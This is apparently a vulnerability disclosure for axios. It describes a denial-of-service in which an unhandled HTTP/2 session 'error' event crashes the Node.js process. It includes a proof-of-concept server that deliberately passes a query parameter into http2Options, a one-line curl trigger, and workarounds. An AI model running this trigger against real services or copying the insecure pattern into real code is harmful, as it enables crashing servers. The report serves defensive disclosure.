Axios: Denial of Service via Unhandled 'error' Event in HTTP/2 ClientHttp2Session Initialization

Expected vulnerable behavior: the process exits with an uncaught ECONNREFUSED session error instead of only rejecting the axios request.

Workarounds

Disable axios HTTP/2 for untrusted or user-influenced destinations and use the default HTTP/1.1 adapter until a fixed release is available. Also avoid passing attacker-controlled values into http2Options; axios config is trusted application input.

Hi, i'm RelunSec a security researcher working with InsiteTech.jp

i want let you known, i finded a DoS in axios, to reproduce that, that is the example of a server

const http = require('http');
// Import the local axios version to ensure the patch is active
const axios = require('../../lib/axios.js').default; 
const url = require('url');

// A public HTTP/2 server to make internal requests to.
// This simulates an external service your application might interact with over HTTP/2.
const TARGET_URL = 'https://nghttp2.org/'; 
const PORT = 3000;

const server = http.createServer(async (req, res) => {
  const parsedUrl = url.parse(req.url, true);
  const http2optionId = parsedUrl.query.http2optionId;

  if (!http2optionId) {
  console.warn(`[SERVER] Rejected request: Missing http2optionId parameter`);
  res.writeHead(400, { 'Content-Type': 'text/plain' });
  res.end('Error: Missing http2optionId query parameter. Usage: ?http2optionId=value\n');
  return; 
}

  console.log(`[SERVER] Received request with http2optionId: ${http2optionId}`);

  // Create an Axios instance configured for HTTP/2
  // The 'id' in http2Options makes each session configuration unique.
  const axiosInstance = axios.create({
    baseURL: TARGET_URL,
    httpVersion: 2,
    http2Options: {
      // rejectUnauthorized: false, // Uncomment if targeting a local HTTP/2 server with self-signed cert
      id: http2optionId, // This is the attacker-controlled unique part
    },
    // Adding a short timeout to prevent attacker from waiting too long if target is slow
    timeout: 5000 
  });

  try {
    const response = await axiosInstance.get('/');
    res.writeHead(200, { 'Content-Type': 'text/plain' });
    res.end(`Internal HTTP/2 request successful for ID: ${http2optionId}\nStatus: ${response.status}`);
  } catch (error) {
    // Check for the specific error indicating session limit reached
    if (error.isAxiosError && error.code === axios.AxiosError.ERR_BAD_OPTION_VALUE) {
      console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`);
      res.writeHead(500, { 'Content-Type': 'text/plain' });
      res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: ${error.message}`);
    } else {
      console.error(`[SERVER] Internal HTTP/2 request failed for ID: ${http2optionId}:`, error.message);
      res.writeHead(500, { 'Content-Type': 'text/plain' });
      res.end(`Internal HTTP/2 request failed for ID: ${http2optionId}: Generic error - ${error.message}`);
    }
  }
});

server.listen(PORT, () => {
  console.log(`PoC Server listening on http://localhost:${PORT}`);
  console.log(`Targeting internal HTTP/2 requests to: ${TARGET_URL}`);
  console.log(`Send requests to http://localhost:${PORT}?http2optionId=...`);
  console.log(`Expected behavior with current patch: After ~100 unique http2optionIds, subsequent requests will receive ERR_BAD_OPTION_VALUE.`);
});

i tested all that in latest git version, after starting the server.cjs, to trigger that you just need do

relunsec@relunsec:~/software/axios-1/poc/poc$ curl http://127.0.0.1:3000/?http2optionId=hi
curl: (52) Empty reply from server

that is extremly simple to trigger

it confirms a DoS in the HTTP/2 session cache, that needs be patched, the impact is will lead the server crashes and shutdown by an attacker, the server is written properly and no flaws in it and try catch blocks and errors handled however because that is an axios internal error will crash